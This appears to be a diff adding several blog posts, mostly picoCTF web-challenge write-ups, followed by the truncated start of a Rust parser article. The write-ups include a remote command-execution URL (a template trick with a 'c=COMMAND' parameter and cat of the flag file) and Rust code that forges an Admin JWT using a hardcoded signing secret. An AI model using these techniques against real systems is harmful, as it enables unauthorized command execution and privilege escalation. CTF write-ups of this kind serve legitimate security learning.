https://notepad.mars.picoctf.net/templates/errors/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-xcdn7y8bhU0.html
|
||||
|
||||
Let's now cause the app render our custom _"error"_ page. We'll also set the get parameter `u` to `_` and `c` to the command to run.
|
||||
|
||||
https://notepad.mars.picoctf.net/?errors=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-xcdn7y8bhU0&u=_&c=COMMAND
|
||||
|
||||
Setting `c` to the `ls` command, we get:
|
||||
|
||||
```none
|
||||
app.py
|
||||
flag-c8f5526c-4122-4578-96de-d7dd27193798.txt
|
||||
static
|
||||
templates
|
||||
```
|
||||
|
||||
Let's view the flag file. We'll set `c` to `cat%20flag-c8f5526c-4122-4578-96de-d7dd27193798.txt`
|
||||
|
||||
There's our flag!
|
||||
|
||||
```
|
||||
picoCTF{styl1ng_susp1c10usly_s1m1l4r_t0_p4steb1n}
|
||||
```
|
||||
156
content/post/picoctf-web-java-code-analysis.md
Normal file
@@ -0,0 +1,156 @@
|
||||
---
|
||||
title: "Java Code Analysis!?!"
|
||||
tags:
|
||||
- CTF
|
||||
- Java
|
||||
- JWT
|
||||
- PicoCTF
|
||||
- Web
|
||||
date: 2023-03-18T07:10:17+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
To get started we are given the username "user" and password "user" to log into the BookShelf Pico web application.
|
||||
We are also given the source code of the application.
|
||||
|
||||
Taking a look at the `src/main/java/io/github/nandandesai/pico/security` subdirectory of the project, we see that it uses JWT.
|
||||
|
||||
Interestingly, the file `SecretGenerator.java` in the aforementioned directory contains a weak hardcoded *"random"* value 😱.
|
||||
```java
|
||||
@Service
|
||||
class SecretGenerator {
|
||||
private Logger logger = LoggerFactory.getLogger(SecretGenerator.class);
|
||||
private static final String SERVER_SECRET_FILENAME = "server_secret.txt";
|
||||
|
||||
@Autowired
|
||||
private UserDataPaths userDataPaths;
|
||||
|
||||
private String generateRandomString(int len) {
|
||||
// not so random
|
||||
return "1234";
|
||||
}
|
||||
|
||||
String getServerSecret() {
|
||||
try {
|
||||
String secret = new String(FileOperation.readFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME), Charset.defaultCharset());
|
||||
logger.info("Server secret successfully read from the filesystem. Using the same for this runtime.");
|
||||
return secret;
|
||||
}catch (IOException e){
|
||||
logger.info(SERVER_SECRET_FILENAME+" file doesn't exists or something went wrong in reading that file. Generating a new secret for the server.");
|
||||
String newSecret = generateRandomString(32);
|
||||
try {
|
||||
FileOperation.writeFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME, newSecret.getBytes());
|
||||
} catch (IOException ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
logger.info("Newly generated secret is now written to the filesystem for persistence.");
|
||||
return newSecret;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
This string "1234" is used as the secret for the JSON web token.
|
||||
|
||||
After logging into the webapp, we notice the following key value pair in our local storage (press `Shift` `F9`).
|
||||
|
||||
Key|Value
|
||||
-|-
|
||||
`auth-token`|`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTY2OTgxOCwiaWF0IjoxNjc5MDY1MDE4LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7j5YSQOQMGw3NZ9ZVZG99UI0liH8vE7Jy4z2UWTMObk`
|
||||
`token-payload`|`{"role":"Free","iss":"bookshelf","exp":1679669818,"iat":1679065018,"userId":1,"email":"user"}`
|
||||
|
||||
|
||||
Let's write a quick program in Rust to tamper with the token.
|
||||
|
||||
Run the following to setup dependencies.
|
||||
|
||||
```sh
|
||||
cargo new bookshelf
|
||||
cd bookshelf
|
||||
cargo add serde_json, frank_jwt, anyhow
|
||||
```
|
||||
|
||||
Next, add the following to `src/main.rs`.
|
||||
|
||||
```rust
|
||||
use anyhow::Result;
|
||||
use frank_jwt::{decode, encode, Algorithm, ValidationOptions};
|
||||
use serde_json::value::Value;
|
||||
fn main() -> Result<()> {
|
||||
let signing_key = "1234";
|
||||
let encoded_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTY2OTgxOCwiaWF0IjoxNjc5MDY1MDE4LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7j5YSQOQMGw3NZ9ZVZG99UI0liH8vE7Jy4z2UWTMObk";
|
||||
let algorithm = Algorithm::HS256;
|
||||
let validation = ValidationOptions::default();
|
||||
|
||||
let (header, mut payload) = decode(
|
||||
encoded_token,
|
||||
&signing_key,
|
||||
algorithm,
|
||||
&validation
|
||||
)?;
|
||||
|
||||
// tampering the payload
|
||||
payload["role"] = Value::String("Admin".into());
|
||||
|
||||
let token = encode(header, &signing_key, &payload, algorithm)?;
|
||||
|
||||
println!("{}", payload);
|
||||
println!("{}", token);
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Here, we have decoded the token, modified the `role` to `Admin` and re-encoded the token using the signing key.
|
||||
|
||||
To run the program, issue the command
|
||||
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
Now in our browser, we set the `token-payload` and `auth-token` to each line of the output respectively.
|
||||
|
||||
If we reload the page, we see that although we have the admin role, we cannot read the flag book. At the admin dashboard at `/#/admindash`, we can see the requests to `/base/users` in the network tab (press `Ctrl` `Shift` `E`). From here we can see that admin has the associated `userId` of `2` and `email` of `admin`.
|
||||
|
||||
```json
|
||||
{
|
||||
"type": "SUCCESS",
|
||||
"payload": [
|
||||
{
|
||||
"id": 1,
|
||||
"email": "user",
|
||||
"fullName": "User",
|
||||
"lastLogin": "2023-03-17T14:56:58.339637063",
|
||||
"role": "Free"
|
||||
},
|
||||
{
|
||||
"id": 2,
|
||||
"email": "admin",
|
||||
"fullName": "Admin",
|
||||
"lastLogin": "2023-03-17T14:51:39.063583433",
|
||||
"role": "Admin"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
In our program, we will further modify the `userId` to `2` and email to `admin` under the tampering section.
|
||||
|
||||
```rust
|
||||
payload["email"] = Value::String("admin".into());
|
||||
payload["userId"] = Value::Number(2.into());
|
||||
```
|
||||
|
||||
Rerun the program with
|
||||
|
||||
```sh
|
||||
cargo run
|
||||
```
|
||||
|
||||
and set the `token-payload` and `auth-token` in our browser to the new payload and encoded token from the program's output respectively.
|
||||
|
||||
Now we can go to the main page and click on the flag book. There, we get the following flag.
|
||||
|
||||
```
|
||||
picoCTF{w34k_jwt_n0t_g00d_6e5d7df5}
|
||||
```
|
||||
189
content/post/picoctf-web-java-script-kiddie-2.md
Normal file
@@ -0,0 +1,189 @@
|
||||
---
|
||||
title: "Java Script Kiddie 2"
|
||||
tags:
|
||||
- CTF
|
||||
- Image Reconstruction
|
||||
- Javascript
|
||||
- Reverse Engineering
|
||||
- PicoCTF
|
||||
- Web
|
||||
date: 2023-03-03T09:47:54+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
## The challenge
|
||||
|
||||
This is a web challenge involving javascript, meaning most of the solution is
|
||||
going to be client side. We are asked to visit the [challenge
|
||||
page](http://jupiter.challenges.picoctf.org:42899/).
|
||||
|
||||
From here, we can view the source code of the page.
|
||||
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<script src="jquery-3.3.1.min.js"></script>
|
||||
<script>
|
||||
var bytes = [];
|
||||
$.get("bytes", function(resp) {
|
||||
bytes = Array.from(resp.split(" "), x => Number(x));
|
||||
});
|
||||
|
||||
function assemble_png(u_in){
|
||||
var LEN = 16;
|
||||
var key = "00000000000000000000000000000000";
|
||||
var shifter;
|
||||
if(u_in.length == key.length){
|
||||
key = u_in;
|
||||
}
|
||||
var result = [];
|
||||
for(var i = 0; i < LEN; i++){
|
||||
shifter = Number(key.slice((i*2),(i*2)+1));
|
||||
for(var j = 0; j < (bytes.length / LEN); j ++){
|
||||
result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
|
||||
}
|
||||
}
|
||||
while(result[result.length-1] == 0){
|
||||
result = result.slice(0,result.length-1);
|
||||
}
|
||||
document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
|
||||
return false;
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<center>
|
||||
<form action="#" onsubmit="assemble_png(document.getElementById('user_in').value)">
|
||||
<input type="text" id="user_in">
|
||||
<input type="submit" value="Submit">
|
||||
</form>
|
||||
<img id="Area" src=""/>
|
||||
</center>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
Let's break it down. We are going to begin with the contents in the script
|
||||
tags. First, the script fetches a blob of whitespace separated numbers into the
|
||||
variable `bytes`.
|
||||
|
||||
```js
|
||||
var bytes = [];
|
||||
$.get("bytes", function(resp) {
|
||||
bytes = Array.from(resp.split(" "), x => Number(x));
|
||||
});
|
||||
```
|
||||
|
||||
It will be a good idea to download a copy of these bytes for ourselves.
|
||||
|
||||
```sh
|
||||
wget http://jupiter.challenges.picoctf.org:42899/bytes
|
||||
```
|
||||
|
||||
The function `assemble_png` takes a 32 characters long key as an input, as is evident from the length of the variable key and the assignment of `u_in` to key only when their lengths match.
|
||||
|
||||
```js
|
||||
var LEN = 16;
|
||||
var key = "00000000000000000000000000000000";
|
||||
var shifter;
|
||||
if(u_in.length == key.length){
|
||||
key = u_in;
|
||||
}
|
||||
```
|
||||
|
||||
The function then iterates over the key to store every other byte into the `shifter`.
|
||||
|
||||
```js
|
||||
shifter = Number(key.slice((i*2),(i*2)+1));
|
||||
```
|
||||
|
||||
The inner loop then fills up 16 contiguous bytes of the `result` array from the index `j * LEN` by a table lookup into the `bytes` array initialized earlier.
|
||||
|
||||
```js
|
||||
for(var j = 0; j < (bytes.length / LEN); j ++) {
|
||||
result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
|
||||
}
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
Let's write a python script to automate searching for the key. We can narrow down our key space since a PNG file has its header (first set of bytes) as `\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR`.
|
||||
We will use numpy to broadcast arithmetic operations over all elements of a tensor (rank 1 here, meaning an array). Since the key has one byte from the PNG header and another unknown byte
|
||||
alternatively, we can begin by using a dummy byte like 'A' for all those spaces.
|
||||
|
||||
We then try to generate an image from the resultant byte array and validate it with the python image library (PIL). If the validation succeeds, we can end the search and save the image.
|
||||
|
||||
```py
|
||||
import itertools
|
||||
from itsdangerous import base64_encode
|
||||
from PIL import Image, UnidentifiedImageError
|
||||
import numpy as np
|
||||
import io
|
||||
|
||||
LEN = 16
|
||||
with open('bytes') as handle:
|
||||
blob = np.array([int(x.strip()) for x in handle.read().split(',')])
|
||||
|
||||
BLEN = len(blob)
|
||||
J = BLEN // LEN
|
||||
crib = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR"
|
||||
charset = [set()] * LEN
|
||||
|
||||
|
||||
def is_png(key) -> bool:
|
||||
result = bytearray(BLEN)
|
||||
for i in range(LEN):
|
||||
shifter = ord(key[i * 2])
|
||||
for j in range(J):
|
||||
result[(j * LEN) + i] = blob[(((j + shifter) * LEN) % BLEN) + i]
|
||||
|
||||
result.rstrip(b'\x00')
|
||||
|
||||
try:
|
||||
image = Image.open(io.BytesIO(result))
|
||||
image.save(base64_encode(key).decode() + ".png")
|
||||
except UnidentifiedImageError:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def main():
|
||||
# 255 is the maximum value for a u8
|
||||
shifter = np.arange(256)
|
||||
for i in range(LEN):
|
||||
for j in range(J):
|
||||
crib_index = (j * LEN) + i
|
||||
if crib_index >= len(crib):
|
||||
continue
|
||||
interp = (((shifter + j) * LEN) % BLEN) + i
|
||||
p = shifter[np.in1d(interp, np.where(blob == crib[crib_index])[0])]
|
||||
charset[i] = charset[i].union(p)
|
||||
|
||||
for char in itertools.product(*charset):
|
||||
key = "A".join(map(chr, char))
|
||||
if is_png(key):
|
||||
print(key)
|
||||
return
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
Running this script, we get the following image in `B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png`.
|
||||

|
||||
|
||||
Since this appears to be a QR code, the only thing left to do is scan the image with a tool like `zbarimg`.
|
||||
|
||||
```sh
|
||||
zbarimg B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png
|
||||
```
|
||||
|
||||
This yields us the flag.
|
||||
|
||||
```
|
||||
QR-Code:picoCTF{227c2d3465a6a4bcc8a1bc599e34f074}
|
||||
scanned 1 barcode symbols from 1 images in 0.03 seconds
|
||||
```
|
||||
374
content/post/picoctf-web-some-assembly-required-3.md
Normal file
@@ -0,0 +1,374 @@
|
||||
---
|
||||
title: "Some Assembly Required 3"
|
||||
tags:
|
||||
- CTF
|
||||
- PicoCTF
|
||||
- Reverse Engineering
|
||||
- Web
|
||||
- WebAssembly
|
||||
date: 2023-02-09T16:39:08+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
This is a web exploitation challenge from 2021. It's pretty old but
|
||||
has less solves as of writing this post. I figured, it's worth talking
|
||||
about.
|
||||
|
||||
We are told to visit
|
||||
[http://mercury.picoctf.net:60022/index.html](http://mercury.picoctf.net:60022/index.html)
|
||||
where we find a simple textbox prompting us to submit the flag.
|
||||
|
||||
Looking at the page source by pressing `ctrl` `u`, we see that it is sourcing javascript code from `rTEuOmSfG3.js`.
|
||||
|
||||
```html
|
||||
<script src="rTEuOmSfG3.js"></script>
|
||||
```
|
||||
|
||||
While examining the javascript, we will notice that it is obfuscated and
|
||||
packed. Put this through [de4js](https://lelinhtinh.github.io/de4js/) to
|
||||
prettify it.
|
||||
|
||||
```js
|
||||
const _0x143f = ['exports', '270328ewawLo', 'instantiate', '1OsuamQ', 'Incorrect!', 'length', 'copy_char', 'value', '1512517ESezaM', 'innerHTML', 'check_flag', 'result', '1383842SQRPPf', '924408cukzgO', 'getElementById', '418508cLDohp', 'input', 'Correct!', '573XsMMHp', 'arrayBuffer', '183RUQBDE', '38934oMACea'];
|
||||
const _0x187e = function (_0x3075b9, _0x2ac888) {
|
||||
_0x3075b9 = _0x3075b9 - 0x11d;
|
||||
let _0x143f7d = _0x143f[_0x3075b9];
|
||||
return _0x143f7d;
|
||||
};
|
||||
(function (_0x3379df, _0x252604) {
|
||||
const _0x1e2b12 = _0x187e;
|
||||
while (!![]) {
|
||||
try {
|
||||
const _0x5e2d0a = -parseInt(_0x1e2b12(0x122)) + -parseInt(_0x1e2b12(0x12f)) + -parseInt(_0x1e2b12(0x126)) * -parseInt(_0x1e2b12(0x12b)) + -parseInt(_0x1e2b12(0x132)) + parseInt(_0x1e2b12(0x124)) + -parseInt(_0x1e2b12(0x121)) * -parseInt(_0x1e2b12(0x11f)) + parseInt(_0x1e2b12(0x130));
|
||||
if (_0x5e2d0a === _0x252604) break;
|
||||
else _0x3379df['push'](_0x3379df['shift']());
|
||||
} catch (_0x289152) {
|
||||
_0x3379df['push'](_0x3379df['shift']());
|
||||
}
|
||||
}
|
||||
}(_0x143f, 0xed04c));
|
||||
let exports;
|
||||
(async () => {
|
||||
const _0x484ae0 = _0x187e;
|
||||
let _0x487b31 = await fetch('./qCCYI0ajpD'),
|
||||
_0x5eebfd = await WebAssembly[_0x484ae0(0x125)](await _0x487b31[_0x484ae0(0x120)]()),
|
||||
_0x30f3ed = _0x5eebfd['instance'];
|
||||
exports = _0x30f3ed[_0x484ae0(0x123)];
|
||||
})();
|
||||
|
||||
function onButtonPress() {
|
||||
const _0x271e58 = _0x187e;
|
||||
let _0x441124 = document[_0x271e58(0x131)](_0x271e58(0x11d))[_0x271e58(0x12a)];
|
||||
for (let _0x34c54a = 0x0; _0x34c54a < _0x441124[_0x271e58(0x128)]; _0x34c54a++) {
|
||||
exports[_0x271e58(0x129)](_0x441124['charCodeAt'](_0x34c54a), _0x34c54a);
|
||||
}
|
||||
exports[_0x271e58(0x129)](0x0, _0x441124[_0x271e58(0x128)]), exports[_0x271e58(0x12d)]() == 0x1 ? document[_0x271e58(0x131)](_0x271e58(0x12e))[_0x271e58(0x12c)] = _0x271e58(0x11e) : document[_0x271e58(0x131)](_0x271e58(0x12e))['innerHTML'] = _0x271e58(0x127);
|
||||
}
|
||||
```
|
||||
|
||||
We will save this to a file called `code.js`.
|
||||
|
||||
The first part is mutating, more specifically rotating, the definitions in
|
||||
`_0x143f` until the sum of the integers sprinkled throughout the list equals
|
||||
`0xed04c`. Take another look at the code to make sure you can verify why that
|
||||
is the case.
|
||||
|
||||
```js
|
||||
const _0x143f = ['exports', '270328ewawLo', 'instantiate', '1OsuamQ', 'Incorrect!', 'length', 'copy_char', 'value', '1512517ESezaM', 'innerHTML', 'check_flag', 'result', '1383842SQRPPf', '924408cukzgO', 'getElementById', '418508cLDohp', 'input', 'Correct!', '573XsMMHp', 'arrayBuffer', '183RUQBDE', '38934oMACea'];
|
||||
const _0x187e = function (_0x3075b9, _0x2ac888) {
|
||||
_0x3075b9 = _0x3075b9 - 0x11d;
|
||||
let _0x143f7d = _0x143f[_0x3075b9];
|
||||
return _0x143f7d;
|
||||
};
|
||||
(function (_0x3379df, _0x252604) {
|
||||
const _0x1e2b12 = _0x187e;
|
||||
while (!![]) {
|
||||
try {
|
||||
const _0x5e2d0a = -parseInt(_0x1e2b12(0x122)) + -parseInt(_0x1e2b12(0x12f)) + -parseInt(_0x1e2b12(0x126)) * -parseInt(_0x1e2b12(0x12b)) + -parseInt(_0x1e2b12(0x132)) + parseInt(_0x1e2b12(0x124)) + -parseInt(_0x1e2b12(0x121)) * -parseInt(_0x1e2b12(0x11f)) + parseInt(_0x1e2b12(0x130));
|
||||
if (_0x5e2d0a === _0x252604) break;
|
||||
else _0x3379df['push'](_0x3379df['shift']());
|
||||
} catch (_0x289152) {
|
||||
_0x3379df['push'](_0x3379df['shift']());
|
||||
}
|
||||
}
|
||||
}(_0x143f, 0xed04c));
|
||||
```
|
||||
|
||||
We can paste this into a `node` interactive `REPL` and get the final value of `_0x143f`.
|
||||
|
||||
```
|
||||
> _0x143f
|
||||
[
|
||||
'input', 'Correct!',
|
||||
'573XsMMHp', 'arrayBuffer',
|
||||
'183RUQBDE', '38934oMACea',
|
||||
'exports', '270328ewawLo',
|
||||
'instantiate', '1OsuamQ',
|
||||
'Incorrect!', 'length',
|
||||
'copy_char', 'value',
|
||||
'1512517ESezaM', 'innerHTML',
|
||||
'check_flag', 'result',
|
||||
'1383842SQRPPf', '924408cukzgO',
|
||||
'getElementById', '418508cLDohp'
|
||||
]
|
||||
```
|
||||
|
||||
Notice the function `_0x187e` used indirectly to access elements of the
|
||||
list. It is shadowed as `_0x271e58` and `_0x484ae0` to aid the obfuscation.
|
||||
Other than that, the function is never called anywhere else. It makes sense
|
||||
to evaluate the expressions from the function calls and then remove it.
|
||||
|
||||
Let's write a quick python script to do so.
|
||||
|
||||
```py
|
||||
import re
|
||||
import subprocess
|
||||
ex = re.compile(r"_0x(271e58|484ae0)\((0x[123456789abcdef0]+)\)")
|
||||
|
||||
# Define the list and the indexing function
|
||||
definitions = """
|
||||
const _0x143f = [
|
||||
'input', 'Correct!',
|
||||
'573XsMMHp', 'arrayBuffer',
|
||||
'183RUQBDE', '38934oMACea',
|
||||
'exports', '270328ewawLo',
|
||||
'instantiate', '1OsuamQ',
|
||||
'Incorrect!', 'length',
|
||||
'copy_char', 'value',
|
||||
'1512517ESezaM', 'innerHTML',
|
||||
'check_flag', 'result',
|
||||
'1383842SQRPPf', '924408cukzgO',
|
||||
'getElementById', '418508cLDohp'
|
||||
];
|
||||
const _0x187e = function (_0x3075b9, _0x2ac888) {
|
||||
_0x3075b9 = _0x3075b9 - 0x11d;
|
||||
let _0x143f7d = _0x143f[_0x3075b9];
|
||||
return _0x143f7d;
|
||||
};
|
||||
"""
|
||||
|
||||
with open('code.js') as h:
|
||||
contents = h.read()
|
||||
|
||||
calls = []
|
||||
log_calls = []
|
||||
|
||||
for fn, call in ex.findall(contents):
|
||||
shadow_call = "_0x{}({})".format(fn, call)
|
||||
calls.append(shadow_call)
|
||||
log_calls.append("console.log(_0x187e({}))".format(call))
|
||||
|
||||
with open('code_1.js', 'w') as h:
|
||||
h.write(definitions)
|
||||
h.write('\n'.join(log_calls))
|
||||
|
||||
evaluated = subprocess.check_output("node code_1.js", shell=True).decode().splitlines()
|
||||
|
||||
for call, expr in zip(calls, evaluated):
|
||||
contents = contents.replace(call, '"{}"'.format(expr))
|
||||
|
||||
# Ignore anything we have already evaluated,
|
||||
# in this case, anything before defining exports.
|
||||
contents = contents[contents.index("let exports"):]
|
||||
|
||||
with open("code_1.js", 'w') as h:
|
||||
h.write(contents)
|
||||
```
|
||||
|
||||
We run the above code to get `code_1.js`.
|
||||
|
||||
```js
|
||||
let exports;
|
||||
(async () => {
|
||||
const _0x484ae0 = _0x187e;
|
||||
let _0x487b31 = await fetch('./qCCYI0ajpD'),
|
||||
_0x5eebfd = await WebAssembly["instantiate"](await _0x487b31["arrayBuffer"]()),
|
||||
_0x30f3ed = _0x5eebfd['instance'];
|
||||
exports = _0x30f3ed["exports"];
|
||||
})();
|
||||
|
||||
function onButtonPress() {
|
||||
const _0x271e58 = _0x187e;
|
||||
let _0x441124 = document["getElementById"]("input")["value"];
|
||||
for (let _0x34c54a = 0x0; _0x34c54a < _0x441124["length"]; _0x34c54a++) {
|
||||
exports["copy_char"](_0x441124['charCodeAt'](_0x34c54a), _0x34c54a);
|
||||
}
|
||||
exports["copy_char"](0x0, _0x441124["length"]), exports["check_flag"]() ==
|
||||
0x1 ? document["getElementById"]("result")["innerHTML"] = "Correct!" :
|
||||
document["getElementById"]("result")['innerHTML'] = "Incorrect!";
|
||||
}
|
||||
```
|
||||
|
||||
We can interchange the object notations for function calls and array lengths.
|
||||
After renaming some of the variables so that they make more sense, we end up
|
||||
with the following:
|
||||
|
||||
```js
|
||||
let exports;
|
||||
(async () => {
|
||||
let blob = await fetch('./qCCYI0ajpD'),
|
||||
assembly = await WebAssembly.instantiate(await blob.arrayBuffer()),
|
||||
instance = assembly['instance'];
|
||||
exports = instance["exports"];
|
||||
})();
|
||||
|
||||
function onButtonPress() {
|
||||
let value = document.getElementById("input").value;
|
||||
for (let i = 0; i < value.length; i++) {
|
||||
exports.copy_char(value.charCodeAt(i), i);
|
||||
}
|
||||
exports.copy_char(0, value.length), exports.check_flag() == 1 ?
|
||||
document.getElementById("result").innerHTML = "Correct!" :
|
||||
document.getElementById("result").innerHTML = "Incorrect!";
|
||||
}
|
||||
```
|
||||
|
||||
The real magic happens when the script downloads a WebAssembly blob and uses
|
||||
the functions exported in it to verify the input. Let's download the
|
||||
WebAssembly file from the endpoint and decompile it.
|
||||
|
||||
```sh
|
||||
wget http://mercury.picoctf.net:60022/qCCYI0ajpD -O blob.wasm
|
||||
wasm-decompile blob.wasm -o decompiled.wat
|
||||
```
|
||||
|
||||
Among the functions defined, the `copy_char` function sticks out as it
|
||||
appears to perform an *xor* with a key.
|
||||
|
||||
```js
|
||||
function copy(a:int, b:int) {
|
||||
var c:int = g_a;
|
||||
var d:int = 16;
|
||||
var e:int_ptr = c - d;
|
||||
e[3] = a;
|
||||
e[2] = b;
|
||||
var f:int = e[3];
|
||||
if (eqz(f)) goto B_a;
|
||||
var g:int = 4;
|
||||
var h:int = e[2];
|
||||
var i:int = 5;
|
||||
var j:int = h % i;
|
||||
var k:ubyte_ptr = g - j;
|
||||
var l:int = k[1067];
|
||||
var m:int = 24;
|
||||
var n:int = l << m;
|
||||
var o:int = n >> m;
|
||||
var p:int = e[3];
|
||||
var q:int = p ^ o;
|
||||
e[3] = q;
|
||||
label B_a:
|
||||
var r:int = e[3];
|
||||
var s:byte_ptr = e[2];
|
||||
s[1072] = r;
|
||||
}
|
||||
```
|
||||
|
||||
Looking through each line, we can simplify this quite a bit.
|
||||
|
||||
Here are some ways we can make educated guesses. From the code we see that `l`
|
||||
is an integer.
|
||||
|
||||
```js
|
||||
var m:int = 24;
|
||||
var n:int = l << m;
|
||||
var o:int = n >> m;
|
||||
```
|
||||
|
||||
Subsequent left and right shifts by 24 means getting rid of the first `24 / 8 =
|
||||
3` bytes. Here's an animation to visualize the process.
|
||||
|
||||

|
||||
|
||||
This means `l` is actually used to index a byte and not an int.
|
||||
|
||||
> Note: The following code is not `wasm`, it's more akin to pseudocode.
|
||||
|
||||
|
||||
```js
|
||||
function copy(a:int, b:int) {
|
||||
var e:int_ptr = g_a - 16;
|
||||
e[3] = a;
|
||||
e[2] = b;
|
||||
// if (eqz(e[3]:int)) goto B_a;
|
||||
if (*e[3] == 0) {
|
||||
// b[1072] = e[3];
|
||||
b[1072] = 0;
|
||||
}
|
||||
var k:ubyte_ptr = 4 - (e[2] % 5);
|
||||
// var l:int = k[1067];
|
||||
// e[3] = e[3] ^ (l << 24) >> 24;
|
||||
var l:byte = *(k + 1067);
|
||||
e[3] = e[3] ^ l;
|
||||
}
|
||||
```
|
||||
|
||||
From the beginning of the file, we can infer that some encoded string is
|
||||
present at offset `1024`. Another shorter string starts from offset `1067`.
|
||||
|
||||
```
|
||||
data d_nAa1bd7(offset: 1024) =
|
||||
"\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8"
|
||||
"\94\c9\d5d\c0\96\c4\d97\93\93\c2\90\00\00";
|
||||
data d_b(offset: 1067) = "\f1\a7\f0\07\ed";
|
||||
```
|
||||
|
||||
The following confirms that `k` indexes into the string at offset `1067`.
|
||||
|
||||
```js
|
||||
var l:int = k[1067];
|
||||
```
|
||||
|
||||
Since `l` is used as the *xor* byte, the string at index `1067` must be the key.
|
||||
|
||||
The variable `k` rotates from `0` to `4` according to the index of the
|
||||
character to decide the byte to *xor* with. *xor* is an involuntary function,
|
||||
i.e., if something is *xor'd* with a key twice, we get the original data back.
|
||||
Therefore, we can undo the encoding.
|
||||
|
||||
We will create a Rust program to do this.
|
||||
|
||||
```
|
||||
cargo new picoctf
|
||||
cargo add hex
|
||||
```
|
||||
|
||||
Add the following code to `src/main.rs`.
|
||||
|
||||
```rust
|
||||
use hex;
|
||||
use std::error::Error;
|
||||
fn main() -> Result<(), Box<dyn Error>> {
|
||||
let key = hex::decode("f1a7f007ed")?;
|
||||
let crib: Vec<u8> = hex::decode(
|
||||
// "\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8"
|
||||
"9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000",
|
||||
)?
|
||||
.into_iter()
|
||||
.enumerate()
|
||||
.map(|(i, x)| {
|
||||
let i = 4 - (i % 5);
|
||||
let x = x ^ key[i];
|
||||
if x > 0 && x < 0x7f {
|
||||
x
|
||||
} else {
|
||||
0
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
let result = String::from_utf8(crib)?;
|
||||
println!("{result}");
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Now we run the program.
|
||||
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
```
|
||||
picoCTF{b70fcd378740f6e4bce8388c01540c43}
|
||||
```
|
||||
|
||||
There we have our flag!
|
||||
129
content/post/polishing-and-bugfix-week.md
Normal file
@@ -0,0 +1,129 @@
|
||||
---
|
||||
title: "Polishing and Bugfix Week"
|
||||
date: 2024-07-29T13:46:41+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
Hello and welcome to the last instalment in the series where we build a parser
|
||||
for a domain specific langauge in Rust. Please go through the previous articles
|
||||
since this article assumes you are aware of such contextual details.
|
||||
|
||||
Let's start with the bugfixes.
|
||||
|
||||
# Eagerly removing unbinds
|
||||
|
||||
While going through the tests, I figured that
|
||||
the prior parser eagerly parses unbinds and removes said keystroke combinations
|
||||
from our binding set. Unlike the previous iteration, our iteration had unbinds
|
||||
as a separate set which deferred the task of the removing the set intersection
|
||||
to the upstream crate instead.
|
||||
|
||||
To fix this, we follow the good old adage, _"fix it in post"_. With the import
|
||||
functionality taking care of duplicate imports, all imports are parsed using
|
||||
the private `SwhkdParser::as_import` function, passing in the respective inputs as
|
||||
well as a state struct to keep track of imports we've already seen. The only
|
||||
exception to this rule is for the root of all the imports. For the root config,
|
||||
we have a `from` function that accepts a single input (raw text or path) and repeatedly
|
||||
uses the `as_import` function on all subsequent inputs.
|
||||
|
||||
Since we know that the upstream crate will only be able to use the public `from` function,
|
||||
we can add the fix right after every import has been parsed. We add the following
|
||||
loop to remove any binding in our binding list as long as it also exists in the
|
||||
unbinds list.
|
||||
|
||||
```rust
|
||||
for def in root.unbinds.iter() {
|
||||
if let Some(i) = root.bindings.iter().position(|b| b.definition.eq(def)) {
|
||||
root.bindings.remove(i);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
# Overwriting bindings that are redefined
|
||||
|
||||
